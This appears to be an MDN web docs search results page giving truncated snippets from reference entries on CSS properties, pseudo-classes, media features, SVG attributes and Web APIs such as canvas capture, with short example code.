<time-percentage> - CSS: Cascading Style Sheets
the <time-percentage> css data type represents a value that can be either a <time> or a <percentage>.
... examples use in calc() where a <time-percentage> is specified as an allowable type, this means that the percentage resolves to a time and therefore can be used in a calc() expression.
... valid percentages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended.
...And 5 more matches
user-select - CSS: Cascading Style Sheets
the user-select css property controls whether the user can select text.
...until now, chromium chooses to fix the issues, make the final behavior meets the specifications.
...note that the selection object can contain these elements.
...And 5 more matches
surfaceScale - SVG: Scalable Vector Graphics
the surfacescale attribute represents the height of the surface for a light filter primitive.
... two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: t...
...ranslatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, surfacescale defines the height of the surface.
...And 5 more matches
CanvasRenderingContext2D.lineCap - Web APIs
the canvasrenderingcontext2d.linecap property of the canvas 2d api determines the shape used to draw the end points of lines.
... note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods.
... syntax ctx.linecap = "butt" || "round" || "square"; options "butt" the ends of lines are squared off at the endpoints.
...And 4 more matches
RTCIceCandidatePair.local - Web APIs
the local property of the rtcicecandidatepair dictionary specifies the rtcicecandidate which describes the configuration of the local end of a viable webrtc connection.
... syntax localcandidate = rtcicecandidatepair.local; value an rtcicecandidate which describes the configuration of the local end of a viable pair of ice candidates.
... the rtcicecandidatepair is returned by the rtcicetransport method getselectedcandidatepair().
...And 4 more matches
-moz-context-properties - CSS: Cascading Style Sheets
the -moz-context-properties property can be used within privileged contexts in firefox to share the values of specified properties of the element with a child svg image.
... if you reference an svg image in a webpage (such as with the <img> element or as a background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
...And 4 more matches
-moz-user-focus - CSS: Cascading Style Sheets
the -moz-user-focus css property is used to indicate whether an element can have the focus.
... /* keyword values */ -moz-user-focus: normal; -moz-user-focus: ignore; /* global values */ -moz-user-focus: inherit; -moz-user-focus: initial; -moz-user-focus: unset; by setting its value to ignore, you can disable focusing the element, which means that the user will not be able to activate the element.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete note: this property doesn't work for xul <xul:textbox> elements, because the textbox itself never takes focus.
...And 4 more matches
::selection - CSS: Cascading Style Sheets
::selection { background-color: cyan; } allowable properties only certain css properties can be used with ::selection: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow in particular, background-image is ignored.
...election { color: white; background-color: blue; } /* make selected text gold on a red background */ ::selection { color: gold; background-color: red; } /* make selected text in a paragraph white on a blue background */ p::selection { color: white; background-color: blue; } result accessibility concerns don't override selected text styles for purely aesthetic reasons — users can customize them to suit their needs.
... for people experiencing cognitive concerns or who are less technologically literate, unexpected changes to selection styles may hurt their understanding of the functionality.
...And 4 more matches
:active - CSS: Cascading Style Sheets
WebCSS:active
when using a mouse, "activation" typically starts when the user presses down the primary mouse button.
... note: on systems with multi-button mice, css3 specifies that the :active pseudo-class must only apply to the primary button; on right-handed mice, this is typically the leftmost button.
... /* hovered links */ a:active { color: red; } /* active links */ p:active { background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
...And 4 more matches
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
an element is enabled if it can be activated (selected, clicked on, typed into, etc.) or accept focus.
... the element also has a disabled state, in which it can't be activated or accept focus.
...this helps the user understand which elements can be interacted with.
...And 4 more matches
@document - CSS: Cascading Style Sheets
WebCSS@document
it is designed primarily for user-defined style sheets, though it can be used on author-defined style sheets, too.
... @document url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions.
... the values provided to the url(), url-prefix(), domain(), and media-document() functions can be optionally enclosed by single or double quotes.
...And 4 more matches
prefers-reduced-motion - CSS: Cascading Style Sheets
important: an embedded example at the bottom of this page has a scaling movement that may be problematic for some readers.
... syntax no-preference indicates that the user has made no preference known to the system.
... reduce indicates that user has notified the system that they prefer an interface that removes or replaces the types of motion-based animation that trigger discomfort for those with vestibular motion disorders.
...And 4 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods.
...should you be in a vertical writing mode the inline axis will run vertically.
... the block axis crosses the inline axis in the direction that blocks are displayed down the page — for example paragraphs in english are displayed one below the other vertically.
...And 4 more matches
Understanding CSS z-index - CSS: Cascading Style Sheets
in the most basic cases, html pages can be considered two-dimensional, because text, images, and other elements are arranged on the page without overlapping.
... in this case, there is a single rendering flow, and all elements are aware of the space taken by others.
...in addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other.
...And 4 more matches
Descendant combinator - CSS: Cascading Style Sheets
the descendant combinator — typically represented by a single space ( ) character — combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc) element matching the first selector.
... selectors that utilize a descendant combinator are called descendant selectors.
... /* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator.
...And 4 more matches
background-position-y - CSS: Cascading Style Sheets
the background-position-y css property sets the initial vertical position for each background image.
... center aligns the vertical center of the background image with the vertical center of the background position layer.
... <percentage> the offset of the given background image's vertical position relative to the container.
...And 4 more matches
<basic-shape> - CSS: Cascading Style Sheets
for this specification, this results in an empty float area.
... a <position> value in circle() or ellipse() is computed as a pair of offsets (horizontal then vertical) from the top left origin, each given as a combination of an absolute length and a percentage.
...the list values interpolate as <length>, <percentage>, or calc() where possible.
...And 4 more matches
border-radius - CSS: Cascading Style Sheets
you can set a single radius to make circular corners, or two radii to make elliptical corners.
... note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would partially override existing definitions.
...this is used to set an additional radius, so you can have elliptical corners.
...And 4 more matches
border-spacing - CSS: Cascading Style Sheets
the border-spacing value is also used along the outside edge of the table, where the distance between the table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the table.
... note: the border-spacing property is equivalent to the deprecated cellspacing <table> attribute, except that it has an optional second value that can be used to set different horizontal and vertical spacing.
... syntax /* <length> */ border-spacing: 2px; /* horizontal <length> | vertical <length> */ border-spacing: 1cm 2em; /* global values */ border-spacing: inherit; border-spacing: initial; border-spacing: unset; the border-spacing property may be specified as either one or two values.
...And 4 more matches
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
/* keyword values */ box-align: start; box-align: center; box-align: end; box-align: baseline; box-align: stretch; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; the direction of layout depends on the element's orientation: horizontal or vertical.
... notes the edge of the box designated the start for alignment purposes depends on the box's orientation: horizontal top vertical left the edge opposite to the start is designated the end.
... { display: box; /* as specified */ display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make this box taller than the children, so there is room for the box-pack */ height: 400px; /* make this box wider than the children so there is room for the box-align */ width: 300px; /* children should be oriented vertically */ box-orient: vertical; /* as specified */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* align children to the horizontal center of this box */ box-align: center; /* as specified */ -moz-box-align: center; /* mozilla */ -webkit-box-align: center; /* webkit */ /* pack children to the bottom o...
...And 4 more matches
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
the box-lines css property determines whether the box may have a single or multiple lines (rows for horizontally oriented boxes, columns for vertically oriented boxes).
... /* keyword values */ box-lines: single; box-lines: multiple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column.
... this behavior can be changed using the box-lines property.
...And 4 more matches
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
if specified by itself, it causes the edges of the specified box, including any corner shaping (such as a border-radius), to be the clipping path.
... the geometry box can be one of the following values: margin-box uses the margin box as the reference box.
... <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
...And 4 more matches
counter() - CSS: Cascading Style Sheets
WebCSScounter
it is generally used with pseudo-elements, but can be used, theoretically, anywhere a <string> value is supported.
... note: the counter() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse.
... check the browser compatibility table carefully before using this in production.
...And 4 more matches
flex-basis - CSS: Cascading Style Sheets
note: in case both flex-basis (other than auto) and width (or height in case of flex-direction: column) are set for an element, flex-basis has priority.
... syntax /* specify <'width'> */ flex-basis: 10em; flex-basis: 3px; flex-basis: auto; /* intrinsic sizing keywords */ flex-basis: fill; flex-basis: max-content; flex-basis: min-content; flex-basis: fit-content; /* automatically size based on the flex item’s content */ flex-basis: content; /* global values */ flex-basis: inherit; flex-basis: initial; flex-basis: unset; the flex-basis property is specified as either the keyword content or a <'width'>.
... content indicates automatic sizing, based on the flex item’s content.
...And 4 more matches
font-synthesis - CSS: Cascading Style Sheets
syntax this property can take any one of the following forms: the keyword value none.
... values none indicates that neither bold nor italic typeface may be synthesized.
... weight indicates that a bold typeface may be synthesized if needed.
...And 4 more matches
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
the grid-row css shorthand property specifies a grid item’s size and location within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start and inline-end edge of its grid area.
... somegridarea 4; grid-row: 4 somegridarea / 6; /* span + <integer> + <custom-ident> values */ grid-row: span 3; grid-row: span somegridarea; grid-row: 5 somegridarea span; grid-row: span 3 / 6; grid-row: span somegridarea / span someothergridarea; grid-row: 5 somegridarea span / 2 span; /* global values */ grid-row: inherit; grid-row: initial; grid-row: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 4 more matches
image-orientation - CSS: Cascading Style Sheets
warning: this property is deprecated in the specification.
... description this property is intended only to be used for the purpose of correcting the orientation of images which were shot with the camera rotated.
...for any purpose other than correcting an image's orientation due to how it was shot or scanned, use a transform property with the rotate keyword to specify rotation.
...And 4 more matches
<length-percentage> - CSS: Cascading Style Sheets
the <length-percentage> css data type represents a value that can be either a <length> or a <percentage>.
... html <p>you can use percentages and lengths in so many places.</p> css p { /* length-percentage examples */ width: 75%; height: 200px; margin: 3rem; padding: 1%; border-radius: 10px 10%; font-size: 250%; line-height: 1.5em; /* length examples */ text-shadow: 1px 1px 1px red; border: 5px solid red; letter-spacing: 3px; /* percentage example */ text-size-adjust: 20%; } result use in calc() where a <length-percentage> is specified as an allowable type, this means that the percentage resolves to a...
... length and therefore can be used in a calc() expression.
...And 4 more matches
mask-border-width - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-width: auto; /* <length> value */ mask-border-width: 1rem; /* <percentage> value */ mask-border-width: 25%; /* <number> value */ mask-border-width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values chosen from the list of values below.
...percentages are relative to the width of the border area for horizontal offsets and the height of the border area for vertical offsets.
... auto the width of the mask border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding mask-border-slice.
...And 4 more matches
mask - CSS: Cascading Style Sheets
WebCSSmask
it is therefore recommended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade.
...gth (if given a <length>), otherwise as a percentage.mask-clip: as specifiedmask-origin: as specifiedmask-size: as specified, but with relative lengths converted into absolute lengthsmask-composite: as specifiedanimation typeas each of the properties of the shorthand:mask-image: discretemask-mode: discretemask-repeat: discretemask-position: repeatable list of simple list of length, percentage, or calcmask-clip: discretemask-origin: discretemask-size: repeatable list of simple list of length, percentage, or calcmask-composite: discretecreates stacking contextyes formal syntax <mask-layer>#where <mask-layer> = <mask-reference> | <position> [ / <bg-size> ]?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()><box> = border-box | padding-box | content-boxwhere <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...And 4 more matches
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
auto the browser will calculate and select a min-width for the specified element.
... formal definition initial valueautoapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting minimum element width table { min-width: 75%; } form { min-width: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-width' in that...
... specification.
...And 4 more matches
<number> - CSS: Cascading Style Sheets
WebCSSnumber
4.01 positive fraction -456.8 negative fraction 0.0 zero +0.0 zero, with a leading + -0.0 zero, with a leading - .60 fractional number without a leading zero 10e3 scientific notation -3.4e-2 complicated scientific notation invalid numbers 12.
... specifications specification status comment css values and units module level 4the definition of '<number>' in that specification.
... editor's draft no significant change.
...And 4 more matches
object-position - CSS: Cascading Style Sheets
you can adjust how the replaced element's object's intrinsic size (that is, its natural size) is adjusted to fit within the element's box using the object-fit property.
...relative or absolute offsets can be used.
... note: the position can be set so that the replaced element is drawn outside its box.
...And 4 more matches
repeating-linear-gradient() - CSS: Cascading Style Sheets
this can be altered with repeating the first color again as the last color.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
...this gradient doesn't repeat because the last color stop defaults to 100% */ repeating-linear-gradient(0deg, blue, green 40%, red); /* a gradient repeating five times, going from the left to right, starting red, turning green, and back to red */ repeating-linear-gradient(to right, red 0%, green 10%, red 20%); values <side-or-corner> the position of the gradient line's starting point.
...And 4 more matches
scrollbar-color - CSS: Cascading Style Sheets
syntax /* keyword values */ scrollbar-color: auto; scrollbar-color: dark; scrollbar-color: light; /* <color> values */ scrollbar-color: rebeccapurple green; /* two valid colors.
... dark show a dark scrollbar, which can be either a dark variant of scrollbar provided by the platform, or a custom scrollbar with dark colors.
... light show a light scrollbar, which can be either a light variant of scrollbar provided by the platform, or a custom scrollbar with light colors.
...And 4 more matches
text-combine-upright - CSS: Cascading Style Sheets
this property only has an effect in vertical writing modes.
... /* keyword values */ text-combine-upright: none; text-combine-upright: all; /* digits values */ text-combine-upright: digits; /* fits 2 consecutive digits horizontally inside vertical text */ text-combine-upright: digits 4; /* fits up to 4 consecutive digits horizontally inside vertical text */ /* global values */ text-combine-upright: inherit; text-combine-upright: initial; text-combine-upright: unset; syntax values none there is no special processing.
... all attempts to typeset all consecutive characters within the box horizontally, such that they take up the space of a single character within the vertical line of the box.
...And 4 more matches
text-justify - CSS: Cascading Style Sheets
the text-justify css property sets what type of justification should be applied to text when text-align: justify; is set on an element.
... text-justify: none; text-justify: auto; text-justify: inter-word; text-justify: inter-character; text-justify: distribute; /* deprecated value */ syntax the text-justify property is specified as a single keyword chosen from the list of values below.
... values none the text justification is turned off.
...And 4 more matches
<time> - CSS: Cascading Style Sheets
WebCSStime
note: conversion between s and ms follows the logical 1s = 1000ms.
... examples valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended.
...12.0 this is a <number>, not a <time>, because it's missing a unit.
...And 4 more matches
width - CSS: Cascading Style Sheets
WebCSSwidth
auto the browser will calculate and select a width for the specified element.
... accessibility concerns ensure that elements set with a width aren't truncated and don't obscure other content when the page is zoomed to increase text size.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; bor...
...And 4 more matches
ReferenceError: deprecated caller or arguments usage - JavaScript
the javascript strict mode-only exception "deprecated caller or arguments usage" occurs when the deprecated function.caller or function.arguments properties are used.
... message typeerror: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in this context (edge) warning: referenceerror: deprecated caller usage (firefox) warning: referenceerror: deprecated arguments usage (firefox) typeerror: 'callee' and 'caller' cannot be accessed in strict mode.
... in strict mode, the function.caller or function.arguments properties are used and shouldn't be.
...And 4 more matches
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
the canvascapturemediastreamtrack method requestframe() requests that a frame be captured from the canvas and sent to the stream.
... applications that need to carefully control the timing of rendering and frame capture can use requestframe() to directly specify when it's time to capture a frame.
... to prevent automatic capture of frames, so that frames are only captured when requestframe() is called, specify a value of 0 for the capturestream() method when creating the stream.
...And 3 more matches
CanvasCaptureMediaStreamTrack - Web APIs
the canvascapturemediastreamtrack interface represents the video track contained in a mediastream being generated from a <canvas> following a call to htmlcanvaselement.capturestream().
... part of the media capture and streams api.
... canvascapturemediastreamtrack.canvas read only returns the htmlcanvaselement object whose surface is captured in real-time.
...And 3 more matches
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream which includes a canvascapturemediastreamtrack containing a real-time video capture of the canvas's contents.
... syntax mediastream = canvas.capturestream(framerate); parameters framerate optional a double-precision floating-point value that indicates the rate of capture of each frame.
... if not set, a new frame will be captured each time the canvas changes; if set to 0, frames will not be captured automatically; instead, they will only be captured when the returned track's requestframe() method is called.
...And 3 more matches
ImageCapture.getPhotoCapabilities() - Web APIs
the getphotocapabilities() method of the imagecapture interface returns a promise that resolves with a photocapabilities object containing the ranges of available configuration options.
... syntax const capabilitiespromise = imagecaptureobj.getphotocapabilities() return value a promise that resolves with a photocapabilities object.
... example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities() to modify the size of an input range.
...And 3 more matches
window.cancelIdleCallback() - Web APIs
summary the window.cancelidlecallback() method cancels a callback previously scheduled with window.requestidlecallback().
... syntax window.cancelidlecallback(handle); parameters handle the id value returned by window.requestidlecallback() when the callback was established.
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
...And 3 more matches
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
property names that are prefixed with --, like --example-name, represent custom properties that contain a value that can be used in other declarations using the var() function.
... custom properties are scoped to the element(s) they are declared on, and participate in the cascade: the value of such a custom property is that from the declaration decided by the cascading algorithm.
...it represents the entirety of what a valid declaration can have as its value.
...And 3 more matches
-webkit-border-before - CSS: Cascading Style Sheets
the -webkit-border-before css property is a shorthand property for setting the individual logical block start border property values in a single place in the style sheet.
... /* border values */ -webkit-border-before: 1px; -webkit-border-before: 2px dotted; -webkit-border-before: medium dashed blue; /* global values */ -webkit-border-before: inherit; -webkit-border-before: initial; -webkit-border-before: unset; -webkit-border-before can be used to set the values for one or more of: -webkit-border-before-width, -webkit-border-before-style, and -webkit-border-before-color.
... it maps to a physical border depending on the element's writing mode, directionality, and text orientation.
...And 3 more matches
-webkit-line-clamp - CSS: Cascading Style Sheets
it only works in combination with the display property set to -webkit-box or -webkit-inline-box and the -webkit-box-orient property set to vertical.
... in most cases you will also want to set overflow to hidden, otherwise the contents won't be clipped but an ellipsis will still be shown after the specified number of lines.
... when applied to anchor elements, the truncating can happen in the middle of the text, not necessarily at the end.
...And 3 more matches
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
es */ -webkit-mask-repeat-x: repeat; -webkit-mask-repeat-x: no-repeat; -webkit-mask-repeat-x: space; -webkit-mask-repeat-x: round; /* multiple values */ -webkit-mask-repeat-x: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-x: inherit; -webkit-mask-repeat-x: initial; -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically.
... repeat the mask image is repeated both horizontally and vertically.
...the mask-position property is ignored unless only one image can be displayed without clipping.
...And 3 more matches
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
an element is disabled if it can't be activated (selected, clicked on, typed into, etc.) or accept focus.
... the element also has an enabled state, in which it can be activated or accept focus.
...box document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status comment html living standardthe definition of ':disabled' in that specification.
...And 3 more matches
:host() - CSS: Cascading Style Sheets
WebCSS:host()
the :host() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host.
...you can't use this with a descendant selector expression to select only instances of the custom element that are inside a particular ancestor.
... in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; con...
...And 3 more matches
:hover - CSS: Cascading Style Sheets
WebCSS:hover
web developers should make sure that content is accessible on devices with limited or non-existent hovering capabilities.
... syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a { background-color: powderblue; transition: background-color .5s; } a:hover { background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
... specifications specification comment feedback html living standardthe definition of ':hover' in that specification.
...And 3 more matches
:in-range - CSS: Cascading Style Sheets
WebCSS:in-range
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range { background-color: rgba(0, 255, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is within the permitted limits.
... note: this pseudo-class only applies to elements that have (and can take) a range limitation.
... in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :in-range examples html <form action="" id="form1"> <ul>values between 1 and 10 are valid.
...And 3 more matches
:optional - CSS: Cascading Style Sheets
WebCSS:optional
accessibility concerns if a form contains optional <input>s, required inputs should be indicated using the required attribute.
... required inputs should also be indicated visually, using a treatment that does not rely solely on color to convey meaning.
... typically, descriptive text and/or an icon are used.
...And 3 more matches
:required - CSS: Cascading Style Sheets
WebCSS:required
/* selects any required <input> */ input:required { border: 1px dashed red; } this pseudo-class is useful for highlighting fields that must have valid data before a form can be submitted.
... if the form also contains optional inputs, required inputs should be indicated visually using a treatment that does not rely solely on color to convey meaning.
... typically, descriptive text and/or an icon are used.
...And 3 more matches
speak-as - CSS: Cascading Style Sheets
for example, an author can specify a counter symbol to be either spoken as its numerical value or just represented with an audio cue.
... for all other cases, specifying auto has the same effect as specifying speak-as: numbers.
... numbers the numerical value of the counter will be read out in the document language.
...And 3 more matches
@counter-style - CSS: Cascading Style Sheets
range defines the range of values over which the counter style is applicable.
...symbols can contain string, images or custom identifiers.
...for example, the value of the marker symbol can be read out as numbers or alphabets for ordered lists or as audio cues for unordered lists, based on the value of this descriptor.
...And 3 more matches
font-style - CSS: Cascading Style Sheets
for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-style descriptor to explicitly specify the font face's style.
... on the other hand, if a true italicized version of the font family exists, we can include it in the src descriptor and specify the font style as italic, so that it is clear that the font is italicized.
... true italics use different glyphs and are a bit different from their upright counterparts, having some unique features and generally have a rounded and calligraphic quality.
...And 3 more matches
unicode-range - CSS: Cascading Style Sheets
syntax /* <unicode-range> values */ unicode-range: u+26; /* single codepoint */ unicode-range: u+0-7f; unicode-range: u+0025-00ff; /* codepoint range */ unicode-range: u+4??; /* wildcard range */ unicode-range: u+0025-00ff, u+4??; /* multiple values */ values single codepoint a single unicode character code point, for example u+26.
... wildcard range a range of unicode code points containing wildcard characters, that is using the '?' character, so for example u+4??
...for example, a site with many localizations could provide separate font resources for english, greek and japanese.
...And 3 more matches
color-gamut - CSS: Cascading Style Sheets
the color-gamut css media feature can be used to test the approximate range of colors that are supported by the user agent and the output device.
... srgb the output device can support approximately the srgb gamut or more.
... p3 the output device can support approximately the gamut specified by the dci p3 color space or more.
...And 3 more matches
orientation - CSS: Cascading Style Sheets
the orientation css media feature can be used to test the orientation of the viewport (or the page box, for paged media).
...opening the soft keyboard on many devices in portrait orientation will cause the viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait.
... landscape the viewport is in a landscape orientation, i.e., the width is greater than the height.
...And 3 more matches
prefers-color-scheme - CSS: Cascading Style Sheets
alternately, users can create the numeric preference ui.systemusesdarktheme to override the default behavior and return light (value: 0), dark (value: 1), or no-preference (value: 2).
... (any other value causes firefox to return light.) the prefers-color-scheme css media feature is used to detect if the user has requested the system use a light or dark color theme.
... syntax light indicates that user has notified the system that they prefer an interface that has a light theme, or has not expressed an active preference.
...And 3 more matches
update - CSS: Cascading Style Sheets
the update css media feature can be used to test how frequently (if at all) the output device is able to modify the appearance of content.
... none once it has been rendered, the layout can no longer be updated.
... slow the layout may change dynamically according to the usual rules of css, but the output device is not able to render or display changes quickly enough for them to be perceived as a smooth animation.
...And 3 more matches
@namespace - CSS: Cascading Style Sheets
syntax /* default namespace */ @namespace url(xml-namespace-url); @namespace "xml-namespace-url"; /* prefixed namespace */ @namespace prefix url(xml-namespace-url); @namespace prefix "xml-namespace-url"; description the defined namespaces can be used to restrict the universal, type, and attribute selectors to only select elements within that namespace.
... the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies.
... @namespace can be used to define the default namespace for the style sheet.
...And 3 more matches
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport.
... this is typically based on the size of the window on desktop browsers that aren't in full screen mode.
... on mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use.
...And 3 more matches
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the device meets the criteria of the condition defined using a media query.
...(at the candidate recommendation stage, but only implemented in gecko as of writing) @font-feature-values (plus @swash, @ornaments, @annotation, @stylistic, @styleset and @character-variant) — define common names in font-variant-alternates for feature activated differently in opentype.
... (at the candidate recommendation stage, but only implemented in gecko as of writing) conditional group rules much like the values of properties, each at-rule has a different syntax.
...And 3 more matches
Resizing background images with background-size - CSS: Cascading Style Sheets
by doing so, you can scale the image upward or downward as desired.
...to do this, we can use a fixed background-size value of 150 pixels.
... html <div class="tiledbackground"> </div> css .tiledbackground { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the background.
...And 3 more matches
Using URL values for the cursor property - CSS: Cascading Style Sheets
this allows specifying arbitrary images as mouse cursors — any image format supported by gecko can be used.
... syntax the basic (css 2.1) syntax for this property is: cursor: [ <url> , ]* <keyword> this means that zero or more urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer.
...if that file does not exist or is not valid for some other reason, bar.gif is tried, and if that can't be used either, auto will be used.
...And 3 more matches
CSS Display - CSS: Cascading Style Sheets
